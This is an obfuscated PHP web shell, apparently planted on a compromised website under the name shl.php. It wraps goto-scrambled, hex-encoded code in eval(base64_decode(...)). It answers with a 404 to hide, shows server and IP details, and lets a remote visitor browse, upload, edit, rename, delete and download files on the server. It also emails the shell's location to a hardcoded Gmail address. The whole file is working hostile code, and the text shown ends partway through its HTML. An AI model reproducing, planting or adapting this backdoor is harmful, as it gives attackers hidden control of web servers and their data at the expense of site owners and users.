File: /home/burgaska/conductingmovements.com.old/shl.php
<?php eval(base64_decode('
 goto DtTrb; t1Swk: http_response_code(404); goto NIMde; vQdeS: function Jd($SP) { $dE = ''; $gf = strlen($SP) - 1; $lE = 0; Xp: if (!($lE < $gf)) { goto ur; } $dE .= chr(hexdec($SP[$lE] . $SP[$lE + 1])); Wn: $lE += 2; goto Xp; ur: return $dE; } goto lmZ4q; EV87d: Go: goto sMZJQ; AHoi6: if ($im == "\x6e\145\167\x46\x69\x6c\x65") { goto Pb; } goto qVql3; qVql3: if ($im == "\x72\x65\156\141\155\145") { goto Lw; } goto w3TDZ; plRHA: if ($c8[11]($_FILES["\x66"]["\x74\155\160\137\156\x61\x6d\145"][$lE], $Wx[$lE])) { goto PG; } goto jPrlo; p4lwN: echo ss($Jd) . "\x26\x61\75" . Ss("\x6e\x65\x77\x46\151\154\x65"); goto rN7Rq; pxujP: echo jd($_GET["\x6e"]); goto x3qot; MIp3B: goto WC; goto A5Gur; cn4Q_: $lE = 0; goto XsOsk; vlzHQ: if (!$c8[12]($BL)) { goto e8; } goto CHb7w; KFRes: cc: goto CR4J3; KPZFC: echo phpversion(); goto Vwfo5; GtPWJ: Cy: goto FJiJY; CxtQ0: if ($im == "\x76\x69\x65\167") { goto Ag; } goto KpEAu; pPMgt: $im = Jd($_GET["\141"]); goto KFRes; SWtzv: echo function_exists("\143\165\x72\154\x5f\x76\145\x72\x73\151\157\x6e") ? "\74\x66\x6f\x6e\x74\40\x63\x6f\x6c\157\162\75\x67\x72\145\x65\x6e\x3e\x4f\116\74\57\146\157\156\x74\76" : "\x3c\146\157\156\164\40\x63\x6f\154\157\x72\x3d\x72\x65\144\x3e\117\106\x46\74\x2f\x66\157\156\164\x3e"; goto YcjJE; PkTjF: if (!isset($_FILES["\x66"])) { goto ea; } goto HrlUr; TbaSd: FA: goto f0DHw; ECteO: header("\103\157\156\164\145\156\x74\55\x54\x79\x70\145\x3a\x20\x74\x65\x78\x74\57\x68\x74\x6d\x6c\73\40\143\150\141\162\163\145\x74\x3d\x55\124\106\55\70"); goto sxFfY; QsXeo: isset($_POST["\x73"]) ? $c8[13]($Jd . "\57" . jD($_GET["\x6e"]), $_POST["\x63\x74\156"]) ? xE("\146\151\x6c\x65\40\x63\x6f\x6e\164\145\x6e\164\x73\x20\x63\x68\141\x6e\147\145\144\40\163\165\x63\143\145\x73\x73\x66\165\x6c\x6c\171", 1, "\x26\141\75" . sS("\166\x69\x65\167") . "\x26\x6e\x3d{$_GET["\x6e"]}") : xE("\x66\x69\154\x65\40\143\157\156\164\145\156\x74\x73\40\146\x61\151\x6c\145\x64\40\x74\157\x20\x63\x68\x61\x6e\x67\145") : null; goto MIp3B; K82g0: Je: goto LGKL9; qOCHh: Fg: goto f11uZ; jPrlo: Xe("\x66\x69\x6c\x65\40\x66\x61\x69\154\x65\x64\x20\x74\157\x20\x75\x70\x6c\x6f\141\x64", 0); goto DJgvw; hBHV5: xB: goto uEkXn; dhFmS: ?>
</li>
			<li>Doc Root: <?php  goto gKMQV; kr_6A: isset($_POST["\163"]) ? $c8[12]("{$Jd}\57{$_POST["\156"]}") ? xE("\x66\157\x6c\144\145\162\x20\156\141\155\x65\x20\150\x61\163\x20\x62\x65\145\x6e\40\x75\163\145\144", 0, "\46\141\x3d" . SS("\156\145\x77\104\151\162")) : ($c8[15]("{$Jd}\57{$_POST["\x6e"]}") ? Xe("\x66\157\x6c\x64\145\x72\40\143\162\145\141\164\145\144\x20\163\x75\x63\x63\145\163\x73\x66\165\154\x6c\x79") : Xe("\146\157\x6c\x64\145\x72\40\x66\141\151\154\x65\144\40\x74\x6f\40\x63\x72\145\141\164\x65", 0)) : null; goto VfY6b; a9NgN: sr: goto vKY6m; APEdw: echo php_uname(); goto dhFmS; E5TV3: ?>
</textarea></div>
			<?php  goto P264Z; rN7Rq: ?>
"> [ Add New File ] </a>
				<a href="?p=<?php  goto G7r0M; t7021: echo Yp; goto X7nDV; d1svT: echo jD($_GET["\156"]); goto KGGfN; Ol5lD: XE("\x66\x69\x6c\145\40\x75\x70\x6c\157\x61\x64\x65\x64\40\x73\x75\x63\x63\145\163\163\x66\x75\154\x6c\x79"); goto MnJfp; gKMQV: echo "{$_SERVER["\x44\117\x43\125\115\x45\x4e\124\137\122\x4f\117\124"]}"; goto dTTqT; ysuNA: header("\103\x6f\156\164\145\156\164\55\x64\151\163\x70\157\163\x69\x74\151\x6f\x6e\x3a\40\x61\164\x74\141\x63\150\155\145\x6e\164\x3b\40\x66\151\x6c\x65\156\x61\x6d\x65\75\42" . jd($_GET["\x6e"]) . "\x22"); goto TbaSd; bZCHf: $c8 = array("\x37\60\66\x38\67\x30\x35\x66\x37\x35\66\145\66\61\66\x64\66\65", "\x37\60\66\70\x37\x30\x37\x36\66\65\x37\x32\67\x33\66\71\66\x66\x36\145", "\x36\67\x36\x35\x37\64\x36\63\67\67\x36\x34", "\x36\63\x36\x38\66\64\66\x39\x37\62", "\67\60\x37\62\x36\x35\66\x37\65\x66\x37\63\67\60\x36\x63\x36\x39\x37\64", "\x36\61\x37\62\67\x32\66\x31\67\71\65\146\66\x34\x36\71\66\x36\66\x36", "\66\71\x37\x33\65\146\x36\x34\66\x39\x37\62", "\x36\x39\67\63\65\146\66\x36\66\71\66\x63\66\65", "\66\71\x37\63\x35\146\67\x37\x37\62\66\71\67\x34\x36\x31\x36\x32\x36\143\66\65", "\x36\71\x37\x33\65\x66\67\x32\66\65\x36\x31\66\64\66\x31\66\x32\x36\143\66\65", "\66\x36\66\x39\66\143\66\x35\x37\x33\66\71\67\141\66\x35", "\66\x33\x36\146\x37\x30\67\71", "\66\66\66\x39\66\143\66\65\x35\146\x36\65\67\70\x36\x39\67\x33\x37\x34\x37\x33", "\x36\x36\x36\x39\x36\x63\66\65\65\x66\x37\x30\x37\x35\67\x34\65\x66\66\x33\66\x66\66\145\67\x34\x36\x35\x36\145\67\x34\67\63", "\66\66\66\x39\66\x63\x36\65\x35\146\x36\x37\66\x35\x37\64\x35\x66\66\63\x36\x66\x36\x65\x37\x34\x36\x35\x36\x65\x37\x34\x37\x33", "\66\144\x36\x62\x36\64\x36\x39\67\62", "\x37\x32\x36\x35\x36\145\x36\x31\x36\144\x36\65", "\67\63\67\x34\67\62\x37\64\x36\x66\67\64\x36\x39\66\144\x36\65", "\66\70\x37\64\x36\144\x36\143\x37\63\x37\60\66\65\66\x33\66\x39\66\61\x36\143\x36\x33\x36\70\66\x31\67\62\x37\63", "\x36\64\66\61\67\x34\66\x35", "\x36\x36\x36\x39\x36\x63\66\65\66\x64\x37\64\x36\x39\66\x64\66\65"); goto cn4Q_; A5Gur: Ag: goto oEt2p; KpEAu: goto WC; goto qOCHh; VfY6b: goto WC; goto JxDlt; JxDlt: Pb: goto CvJV4; ylohA: goto VN; goto a9NgN; EZ6ok: Lw: goto MuGNf; T2ddp: Ox: goto FKXgh; vKY6m: $Jd = jD($_GET["\x70"]); goto TIgIn; X33cl: $lE++; goto eIjEx; k3mXL: header("\x43\157\x6e\x74\145\x6e\164\55\114\x65\x6e\147\164\150\72\x20" . $c8[17](JD($_GET["\x6e"]))); goto ysuNA; hu7SY: goto WC; goto T2ddp; x3qot: ?>
</span>
			<div class="form-group"><label for="ctn">Content :</label><textarea name="ctn" id="ctn" cols="30" rows="10" class="form-control" readonly><?php  goto MeBFk; XL7t4: ?>
</li>
			<li>Domain : <?php  goto S8WFY; f4_V6: Xe("\146\157\x6c\x64\x65\x72\40\144\x65\154\x65\164\x65\144\x20\163\165\143\143\145\x73\x73\x66\165\154\154\x79"); goto WhQyl; sLTXX: foreach ($G3 as $F1) { if ($c8[7]("{$Jd}\57{$F1}")) { goto wA; } goto X1; wA: $kL = $c8[10]("{$Jd}\57{$F1}") / 1024; $kL = round($kL, 3); $kL = $kL > 1024 ? round($kL / 1024, 2) . "\x4d\102" : $kL . "\113\102"; echo "\12\11\x9\11\x9\11\x3c\x74\x72\x3e\12\11\11\x9\x9\x9\11\x3c\x74\x64\x3e\74\x61\40\150\x72\x65\146\x3d\42\x3f\x70\75" . SS($Jd) . "\x26\141\x3d" . sS("\x76\151\145\167") . "\x26\x6e\75" . SS($F1) . "\42\x20\x64\x61\164\141\55\164\157\x67\147\x6c\145\75\42\x74\x6f\157\154\164\151\x70\42\x20\x64\x61\164\141\x2d\160\154\x61\143\x65\155\145\x6e\x74\75\42\x61\165\x74\x6f\42\40\x74\151\164\154\145\x3d\x22\x4c\141\x74\x65\x73\x74\x20\155\157\144\x69\x66\x79\x20\x6f\x6e\40" . $c8[19]("\131\x2d\x6d\x2d\x64\40\110\72\151", $c8[20]("{$Jd}\57{$F1}")) . "\42\76\x3c\x69\x20\x63\154\x61\x73\163\75\x22\x66\141\x20\146\x61\55\146\x77\40\x66\141\x2d\146\151\154\x65\42\76\74\x2f\151\76\x20{$F1}\x3c\57\x61\76\x3c\x2f\x74\144\x3e\xa\11\x9\x9\11\x9\11\74\x74\x64\76{$kL}\x3c\57\x74\144\76\12\11\x9\11\11\x9\11\x3c\164\144\76\x3c\x66\157\156\x74\x20\143\x6f\x6c\x6f\162\x3d\x22" . ($c8[8]("{$Jd}\57{$F1}") ? "\43\60\60\146\146\x30\60" : (!$c8[9]("{$Jd}\x2f{$F1}") ? "\x72\145\x64" : null)) . "\x22\76" . rN("{$Jd}\57{$F1}") . "\74\57\x66\157\156\164\x3e\74\57\x74\144\76\xa\11\11\x9\11\x9\11\x3c\x74\x64\x3e\12\11\11\11\11\11\x9\x9\x3c\x64\151\x76\x20\x63\x6c\x61\163\x73\x3d\x22\x64\55\x66\x6c\145\x78\40\152\x75\163\164\x69\x66\x79\55\143\157\156\x74\145\156\x74\55\x62\x65\164\x77\145\145\156\42\x3e\xa\11\11\11\11\x9\11\11\x9\x9\74\141\x20\x68\162\x65\x66\x3d\42\77\160\75" . Ss($Jd) . "\46\141\75" . Ss("\x65\x64\151\164") . "\x26\156\x3d" . SS($F1) . "\x22\40\x64\x61\164\x61\55\x74\157\147\x67\154\145\75\x22\x74\157\x6f\154\x74\x69\x70\x22\40\144\x61\164\141\55\x70\x6c\141\x63\145\155\145\156\x74\x3d\42\141\x75\164\x6f\42\40\164\151\164\154\145\75\x22\x45\x64\151\x74\42\76\74\151\40\x63\x6c\141\163\x73\75\42\x66\x61\x20\x66\x61\55\146\x77\x20\146\141\55\x65\x64\151\x74\x22\76\x3c\x2f\151\x3e\74\x2f\141\76\12\x9\11\x9\11\11\11\11\x9\x9\74\141\x20\x68\x72\145\146\x3d\42\77\160\x3d" . ss($Jd) . "\46\141\x3d" . SS("\x72\145\156\141\155\145") . "\x26\156\x3d" . ss($F1) . "\46\x74\75\x66\42\40\x64\141\164\141\55\x74\157\147\x67\154\145\75\x22\164\157\157\154\164\151\x70\42\x20\144\x61\x74\141\x2d\160\x6c\x61\x63\145\155\145\156\164\x3d\42\x61\165\x74\x6f\42\40\x74\151\164\154\145\75\42\x52\145\x6e\141\x6d\145\x22\x3e\74\151\40\x63\x6c\x61\x73\x73\75\x22\146\x61\40\146\141\55\x66\x77\x20\x66\x61\55\160\145\156\x63\x69\154\x22\76\x3c\57\x69\x3e\74\57\141\x3e\12\11\11\11\11\x9\11\11\11\11\x3c\141\40\x68\162\145\x66\75\42\77\160\x3d" . ss($Jd) . "\46\x6e\75" . sS($F1) . "\46\144\x6f\x77\x6e\x6c\157\141\144" . "\42\40\144\141\x74\x61\x2d\x74\x6f\x67\x67\154\x65\75\42\164\x6f\x6f\x6c\164\151\x70\x22\x20\x64\141\x74\141\x2d\x70\154\x61\143\x65\155\145\x6e\x74\75\x22\141\x75\x74\157\42\x20\164\x69\x74\154\x65\75\42\104\157\x77\156\x6c\157\x61\x64\42\x3e\x3c\151\x20\x63\x6c\141\163\163\x3d\42\146\x61\40\146\141\x2d\146\167\40\x66\141\x2d\144\x6f\167\x6e\x6c\157\x61\x64\x22\x3e\74\57\x69\x3e\74\57\141\76\12\11\11\11\x9\x9\11\11\x9\11\74\x61\40\150\162\x65\146\x3d\x22\77\x70\75" . ss($Jd) . "\x26\141\x3d" . sS("\144\x65\x6c\x65\164\x65") . "\x26\x6e\75" . ss($F1) . "\42\x20\143\154\x61\x73\x73\x3d\42\144\x65\x6c\x65\164\x65\x22\x20\144\141\164\141\55\164\x79\x70\145\x3d\42\146\x69\x6c\145\42\x20\x64\141\x74\x61\x2d\x74\157\147\x67\x6c\x65\75\x22\x74\x6f\x6f\x6c\x74\151\x70\x22\x20\x64\x61\x74\x61\55\x70\x6c\141\x63\145\x6d\145\156\164\75\x22\141\165\164\157\x22\40\164\151\x74\154\145\75\42\104\145\x6c\x65\x74\x65\x22\76\74\x69\x20\143\x6c\141\x73\163\75\x22\146\x61\40\146\141\x2d\x66\167\x20\x66\141\x2d\164\162\x61\x73\150\42\76\74\x2f\151\x3e\x3c\x2f\x61\x3e\12\11\x9\11\11\x9\x9\x9\74\57\144\151\x76\x3e\xa\x9\11\x9\11\x9\11\74\57\x74\144\x3e\xa\x9\x9\x9\x9\x9\74\57\164\162\76\xa\x9\11\11\x9\11"; X1: } goto uNMX6; QvJ3W: echo function_exists("\155\x79\x73\x71\154\x5f\143\157\156\156\145\x63\x74") ? "\x3c\146\x6f\x6e\164\40\x63\x6f\154\157\x72\x3d\147\162\x65\x65\156\76\117\116\74\x2f\x66\x6f\x6e\x74\76" : "\x3c\146\x6f\156\164\x20\x63\157\154\157\162\x3d\x72\145\144\x3e\117\106\106\74\x2f\x66\157\156\164\76"; goto FPprB; H5xwh: isset($_POST["\163"]) ? $c8[12]("{$Jd}\57{$_POST["\156"]}") ? xE("\x66\x69\154\145\40\156\x61\x6d\x65\40\150\x61\x73\40\142\145\x65\156\40\165\x73\x65\144", 0, "\46\x61\75" . SS("\x6e\145\167\x46\x69\x6c\x65")) : ($c8[13]("{$Jd}\57{$_POST["\156"]}", $_POST["\143\x74\x6e"]) ? XE("\146\x69\x6c\145\40\143\x72\x65\141\x74\145\144\x20\x73\x75\x63\143\145\x73\x73\x66\x75\x6c\x6c\x79", 1, "\x26\x61\x3d" . ss("\x76\151\x65\167") . "\x26\156\75" . Ss($_POST["\x6e"])) : Xe("\146\x69\x6c\x65\x20\x66\x61\x69\x6c\x65\x64\x20\164\157\x20\143\x72\x65\141\x74\x65", 0)) : null; goto uJzYZ; DwX76: goto mR; goto Ggz3o; sxFfY: $tujuanmail = "\162\151\142\145\154\x63\171\x62\145\x72\x74\x65\141\155\x40\147\x6d\141\x69\154\56\143\x6f\155\54\40\x72\x69\x62\145\x6c\143\171\x62\x65\x72\x74\145\x61\155\100\x67\155\x61\x69\x6c\56\x63\157\155"; goto dFMLh; sxtau: if (!$c8[12]($BL)) { goto uH; } goto XfaV5; YHNBa: set_time_limit(0); goto vJf7q; Zc3K4: foreach ($G3 as $yf) { if ($c8[6]("{$Jd}\x2f{$yf}")) { goto CB; } goto Qj; CB: echo "\xa\11\x9\x9\x9\x9\x3c\x74\x72\x3e\xa\x9\11\x9\11\x9\x9\74\x74\x64\x3e\74\x61\x20\x68\x72\145\146\75\42\x3f\160\x3d" . sS("{$Jd}\x2f{$yf}") . "\42\x20\x64\x61\x74\141\x2d\x74\157\147\x67\154\145\75\42\x74\157\x6f\154\164\151\x70\42\40\x64\141\164\x61\x2d\x70\x6c\141\x63\145\155\x65\156\x74\x3d\x22\141\165\x74\x6f\42\40\164\x69\x74\x6c\x65\75\42\x4c\141\164\145\x73\164\x20\155\x6f\x64\151\146\x79\x20\x6f\x6e\40" . $c8[19]("\131\55\x6d\55\x64\x20\110\x3a\x69", $c8[20]("{$Jd}\x2f{$yf}")) . "\42\x3e\x3c\151\x20\x63\154\141\x73\x73\75\42\146\x61\x20\x66\141\55\146\x77\40\146\141\55\x66\157\x6c\x64\145\x72\x22\76\x3c\x2f\x69\x3e\40{$yf}\x3c\57\141\76\x3c\x2f\x74\x64\76\12\x9\x9\x9\11\11\x9\x3c\164\144\76\x4e\x2f\101\x3c\x2f\164\144\x3e\xa\x9\x9\11\11\11\11\74\x74\x64\x3e\74\x66\157\x6e\164\x20\x63\157\154\157\162\75\42" . ($c8[8]("{$Jd}\x2f{$yf}") ? "\43\x30\60\x66\x66\60\x30" : (!$c8[9]("{$Jd}\x2f{$yf}") ? "\162\145\x64" : null)) . "\42\76" . RN("{$Jd}\57{$yf}") . "\x3c\x2f\146\157\156\164\x3e\x3c\x2f\164\144\76\12\11\11\x9\11\11\x9\x3c\x74\144\76\12\11\x9\x9\x9\11\x9\x9\74\x61\x20\x68\162\145\146\75\x22\x3f\160\x3d" . ss($Jd) . "\46\141\75" . ss("\162\x65\x6e\x61\155\145") . "\x26\156\x3d" . ss($yf) . "\46\164\x3d\144\42\x20\144\x61\164\x61\55\164\x6f\147\147\154\145\75\42\x74\157\157\154\164\x69\x70\x22\40\x64\141\164\x61\x2d\x70\154\141\143\145\155\x65\x6e\164\75\42\141\165\x74\157\42\x20\x74\x69\x74\x6c\x65\75\42\x52\145\156\141\155\145\42\x3e\74\x69\40\143\x6c\141\163\x73\x3d\x22\146\x61\40\x66\141\55\146\167\40\x66\141\55\x70\145\x6e\x63\x69\x6c\x22\x3e\74\x2f\x69\x3e\x3c\57\x61\x3e\xa\x9\x9\x9\11\11\11\x9\x3c\x61\40\150\x72\145\146\75\42\x3f\160\75" . sS($Jd) . "\x26\141\75" . ss("\x64\x65\154\x65\x74\x65") . "\x26\156\75" . ss($yf) . "\x22\40\143\154\141\x73\163\x3d\42\x64\145\x6c\145\164\x65\42\40\144\141\x74\141\x2d\x74\171\x70\145\75\x22\146\157\x6c\144\x65\x72\42\40\144\141\164\x61\x2d\164\157\x67\147\154\145\75\42\x74\x6f\x6f\154\x74\x69\x70\x22\40\x64\141\x74\141\55\160\154\x61\x63\x65\155\x65\156\164\x3d\42\x61\165\164\x6f\42\x20\x74\151\x74\x6c\145\75\42\x44\145\154\145\164\145\x22\76\74\151\x20\x63\154\x61\163\x73\75\42\x66\141\x20\x66\141\x2d\x66\x77\x20\x66\141\x2d\164\162\141\163\x68\x22\x3e\x3c\x2f\151\76\74\x2f\141\x3e\12\11\11\x9\11\11\x9\74\x2f\x74\144\76\xa\x9\x9\11\x9\x9\74\57\x74\162\x3e"; Qj: } goto rIkZW; HrlUr: $Wx = $_FILES["\x66"]["\156\x61\x6d\145"]; goto uDflW; NIMde: define("\x59\x70", "\40\x42\x72\60\x6b\x65\x6e\x33\x33\40\55\x20\x46\165\143\x6b\40\131\157\165\40"); goto cMmHL; XfaV5: Xe("\146\x69\x6c\x65\40\x74\x6f\40\x64\145\154\145\x74\145\40\x74\x68\145\40\x66\x6f\x6c\144\x65\162", 0); goto sisJN; LLBc0: ?>
		</div>
		<?php  goto erbi3; O3nkP: if (!isset($_GET["\x64\x6f\167\x6e\x6c\x6f\141\144"])) { goto FA; } goto f52cf; FPprB: ?>
</li>
			<li>Curl: <?php  goto SWtzv; uNMX6: a2: goto LW_6m; TIgIn: $c8[3](Jd($_GET["\x70"])); goto yhRDt; GMi7R: unlink($BL); goto sxtau; Kfkaa: VZ: goto FGG6I; FJiJY: $lE++; goto yQGpw; yhRDt: VN: goto U04df; MnJfp: tG: goto wSai9; DtTrb: error_reporting(0); goto t1Swk; MeBFk: echo $c8[18]($c8[14]($Jd . "\57" . jd($_GET["\156"]))); goto E5TV3; MuGNf: ?>
			<h5 class="border p-1 mb-3">Rename <?php  goto IZjG1; f0DHw: ?>
				<a href="?p=<?php  goto p4lwN; nEnOJ: if (!($im == "\x64\x65\154\x65\x74\x65")) { goto Lu; } goto FKToA; w3TDZ: if ($im == "\x65\144\151\x74") { goto Ox; } goto CxtQ0; lbxtx: if ($im == "\156\145\x77\104\x69\x72") { goto Fg; } goto AHoi6; erbi3: @ini_set("\157\165\x74\160\165\x74\x5f\x62\x75\146\146\145\162\151\x6e\147", 0); goto kIG57; BsXcB: ?>
		<?php  goto DwX76; dFMLh: $x_path = "\x68\164\x74\x70\72\57\57" . $_SERVER["\x53\x45\122\x56\x45\x52\137\x4e\101\x4d\105"] . $_SERVER["\x52\105\121\x55\105\123\124\137\125\122\x49"]; goto KYoNk; qie29: ?>
<!doctype html>
<html lang="en">
<head>
	<meta name="theme-color" content="#00BFFF">
	<meta name="viewport" content="width=device-width, initial-scale=0.60, shrink-to-fit=no">
	<link rel="stylesheet" href="//cdn.jsdelivr.net/npm/bootstrap@4.6.0/dist/css/bootstrap.min.css">
	<link rel="stylesheet" href="//cdnjs.cloudflare.com/ajax/libs/font-awesome/4.7.0/css/font-awesome.min.css">
	<title>Shell?</title>
	<style>.table-hover tbody tr:hover td{background:#00BFFF}.table-hover tbody tr:hover td>*{color:#fff}.table>tbody>tr>*{color:#fff;vertical-align:middle}.form-control{background:0 0!important;color:#fff!important;border-radius:0}.form-control::placeholder{color:#fff;opacity:1}li{font-size:18px;margin-left:6px;list-style:none}a{color:#fff}</style>
	<script src="//unpkg.com/sweetalert/dist/sweetalert.min.js"></script>
	<script src='https://cdn.statically.io/gh/analisyuki/animasi/9ab4049c/bintang.js' type='text/javascript' /></script>
</head>
<body style="background-color:#000;color:#fff;font-family:serif;">
	<div class="bg-dark table-responsive text-light border">
		<div class="d-flex justify-content-between p-1">
			<div><h3 class="mt-2"><a href="?"><?php  goto t7021; f9bE8: e8: goto f4_V6; FKXgh: ?>
			<h5 class="border p-1 mb-3">Edit file</h5>
			<span>File name : <?php  goto jlwVx; smb0r: TF($BL); goto vlzHQ; Sl8UE: if (!($lE < count($c8))) { goto Je; } goto mScGM; VhlBM: ?>
			<?php  goto lbxtx; RGM6h: echo "{$_SERVER["\123\x45\122\x56\105\x52\137\101\x44\104\122"]}\x2f{$_SERVER["\x52\x45\115\117\124\x45\x5f\x41\104\x44\x52"]}"; goto XL7t4; g4NZo: function Xe($OB, $Ch = 1, $BL = '') { global $Jd; $xe = $Ch == 1 ? "\163\x75\x63\143\x65\x73\x73" : "\145\162\162\x6f\x72"; echo "\74\163\143\162\x69\160\164\x3e\x73\x77\x61\x6c\50\173\164\151\x74\154\145\x3a\40\42{$xe}\x22\x2c\40\164\x65\170\164\72\x20\x22{$OB}\42\x2c\x20\151\143\x6f\x6e\72\40\42{$xe}\42\175\51\56\x74\150\145\156\x28\x28\x62\164\x6e\103\154\151\143\153\51\x20\x3d\x3e\40\173\x69\146\x28\x62\x74\156\103\154\151\x63\153\x29\173\x64\157\x63\165\x6d\145\156\x74\x2e\154\157\x63\x61\164\151\x6f\x6e\56\150\x72\145\146\x3d\x22\77\x70\75" . Ss($Jd) . $BL . "\42\175\175\x29\x3c\57\163\x63\x72\x69\x70\x74\76"; } goto NVmm8; dTTqT: ?>
</li>
			<li>Server: <?php  goto RGM6h; U04df: function Ss($SP) { $dE = ''; $lE = 0; NZ: if (!($lE < strlen($SP))) { goto Xc; } $dE .= dechex(ord($SP[$lE])); WK: $lE++; goto NZ; Xc: return $dE; } goto vQdeS; j0f4X: $Op = $c8[4]("\57\50\134\134\x7c\134\x2f\51\57", $Jd); goto KCZjZ; cMmHL: $G3 = "\163\143\141\x6e\x64\151\x72"; goto bZCHf; rIkZW: ad: goto sLTXX; BBt58: echo $c8[18]($c8[14]($Jd . "\57" . jD($_GET["\156"]))); goto NlqaC; hGsY9: ?>
</li>
			<li>Ip Server: <?php  goto pOPKr; lmZ4q: function rn($F1) { $Jd = fileperms($F1); if (($Jd & 49152) == 49152) { goto FZ; } if (($Jd & 40960) == 40960) { goto Eu; } if (($Jd & 32768) == 32768) { goto ES; } if (($Jd & 24576) == 24576) { goto sA; } if (($Jd & 16384) == 16384) { goto lG; } if (($Jd & 8192) == 8192) { goto tV; } if (($Jd & 4096) == 4096) { goto Tx; } $lE = "\x75"; goto cC; FZ: $lE = "\x73"; goto cC; Eu: $lE = "\154"; goto cC; ES: $lE = "\x2d"; goto cC; sA: $lE = "\x62"; goto cC; lG: $lE = "\x64"; goto cC; tV: $lE = "\143"; goto cC; Tx: $lE = "\x70"; cC: $lE .= $Jd & 256 ? "\x72" : "\55"; $lE .= $Jd & 128 ? "\x77" : "\x2d"; $lE .= $Jd & 64 ? $Jd & 2048 ? "\x73" : "\170" : ($Jd & 2048 ? "\123" : "\x2d"); $lE .= $Jd & 32 ? "\162" : "\x2d"; $lE .= $Jd & 16 ? "\x77" : "\55"; $lE .= $Jd & 8 ? $Jd & 1024 ? "\163" : "\x78" : ($Jd & 1024 ? "\x53" : "\55"); $lE .= $Jd & 4 ? "\x72" : "\55"; $lE .= $Jd & 2 ? "\167" : "\x2d"; $lE .= $Jd & 1 ? $Jd & 512 ? "\164" : "\x78" : ($Jd & 512 ? "\x54" : "\55"); return $lE; } goto g4NZo; l6eV1: ea: goto O3nkP; kr6gD: $G3 = $c8[5]($G3($Jd), array("\x2e", "\x2e\x2e")); goto Zc3K4; gMZqS: ?>
</h5>
			<form method="post"><div class="form-group"><label for="n">Name :</label><input type="text" name="n" id="n" class="form-control" value="<?php  goto d1svT; azL_f: if (!($lE < count($Wx))) { goto dx; } goto plRHA; LGKL9: if (isset($_GET["\x70"])) { goto sr; } goto DI0ZG; sMZJQ: ?>
		</div>
	</div>
	<article class="bg-dark border table-responsive mt-2">
		<?php  goto Vnc0x; vJf7q: ini_set("\x6d\x65\x6d\x6f\162\x79\137\154\x69\x6d\151\164", "\66\x34\x4d"); goto ECteO; pOPKr: echo getHostByName(getHostName()); goto fCLPp; f52cf: header("\103\157\x6e\164\145\x6e\164\55\124\x79\160\x65\72\x20\141\x70\x70\154\151\x63\x61\164\151\157\156\x2f\x6f\x63\x74\x65\x74\55\163\x74\162\145\141\x6d"); goto NQw3X; DJgvw: goto tG; goto Tc3ne; f11uZ: ?>
			<h5 class="border p-1 mb-3">New folder</h5>
			<form method="post"><div class="form-group"><label for="n">Name :</label><input name="n" id="n" class="form-control" autocomplete="off"></div><div class="form-group"><button type="submit" name="s" class="btn btn-outline-light rounded-0">Create</button></div></form>
			<?php  goto kr_6A; uDflW: $lE = 0; goto Bvbxz; mScGM: $c8[$lE] = JD($c8[$lE]); goto GtPWJ; yQGpw: goto T4; goto K82g0; Bvbxz: th: goto azL_f; WhQyl: iL: goto Kfkaa; NQw3X: header("\103\157\x6e\x74\x65\x6e\x74\55\x54\x72\x61\x6e\x73\146\x65\x72\x2d\105\156\143\x6f\144\x69\x6e\x67\72\x20\x42\x69\x6e\x61\x72\171"); goto k3mXL; YcjJE: ?>
</li>
		</div>
		<form method="post" enctype="multipart/form-data"><div class="input-group mb-1 px-1 mt-1"><div class="custom-file"><input type="file" name="f[]" class="custom-file-input" onchange="this.form.submit()" multiple><label class="custom-file-label rounded-0 bg-transparent text-light">Choose file</label></div></div></form>
		<?php  goto PkTjF; Vnc0x: if (!isset($_GET["\141"])) { goto Un; } goto qLGZW; uJzYZ: goto WC; goto EZ6ok; atP8N: dx: goto l6eV1; sisJN: goto Mk; goto WfP2Z; qLGZW: if (!isset($_GET["\141"])) { goto cc; } goto pPMgt; NVmm8: function tF($yf) { global $c8; if (!(trim(pathinfo($yf, PATHINFO_BASENAME), "\x2e") === '')) { goto IE; } return; IE: if ($c8[6]($yf)) { goto PF; } unlink($yf); goto jK; PF: array_map("\144\x65\x6c\144\x69\162", glob($yf . DIRECTORY_SEPARATOR . "\x7b\x2c\56\175\x2a", GLOB_BRACE | GLOB_NOSORT)); rmdir($yf); jK: } goto qie29; KRlvS: mail($tujuanmail, "\110\x65\150\x65\150\145", $pesan_alert, "\133\40" . $_SERVER["\x52\105\115\x4f\x54\x45\x5f\101\104\x44\x52"] . "\40\135"); goto BsXcB; eIjEx: goto th; goto atP8N; XsOsk: T4: goto Sl8UE; X7nDV: ?>
</a></h3></div>
		</div>
		<div class="border-top table-responsive">
			<li>PHP: <?php  goto APEdw; PCKkF: $BL = $Jd . "\57" . jd($_GET["\156"]); goto GMi7R; PbSb4: xe("\146\151\154\145\40\x64\145\x6c\x65\164\x65\144\40\163\x75\x63\143\145\163\x73\x66\165\x6c\x6c\171"); goto TeWLg; kIG57: @ini_set("\x64\151\163\x70\154\x61\x79\x5f\x65\162\162\157\x72\x73", 0); goto YHNBa; KGGfN: ?>
"></div><div class="form-group"><button type="submit" name="s" class="btn btn-outline-light rounded-0">Save</button></div></form>
			<?php  goto PhN9B; WfP2Z: uH: goto PbSb4; uEkXn: Lu: goto VhlBM; TeWLg: Mk: goto hBHV5; Ggz3o: Un: goto XNBwm; gT9kw: goto iL; goto f9bE8; wSai9: g9: goto X33cl; CHb7w: Xe("\146\141\x69\x6c\x65\x64\x20\164\x6f\40\x64\x65\x6c\x65\x74\145\40\164\150\145\x20\146\157\154\144\145\162", 0); goto gT9kw; KCZjZ: foreach ($Op as $j3 => $Oe) { if (!($j3 == 0 && $Oe == '')) { goto xi; } echo "\x3c\x61\x20\150\162\x65\146\x3d\x22\77\160\x3d\62\x66\42\76\176\74\x2f\141\76\57"; goto CS; xi: if (!($Oe == '')) { goto sq; } goto CS; sq: echo "\74\141\x20\150\162\x65\146\75\x22\x3f\x70\75"; $lE = 0; de: if (!($lE <= $j3)) { goto ie; } echo sS($Op[$lE]); if (!($lE != $j3)) { goto s0; } echo "\x32\x66"; s0: dg: $lE++; goto de; ie: echo "\x22\76{$Oe}\x3c\x2f\x61\x3e\57"; CS: } goto EV87d; CvJV4: ?>
			<h5 class="border p-1 mb-3">New file</h5>
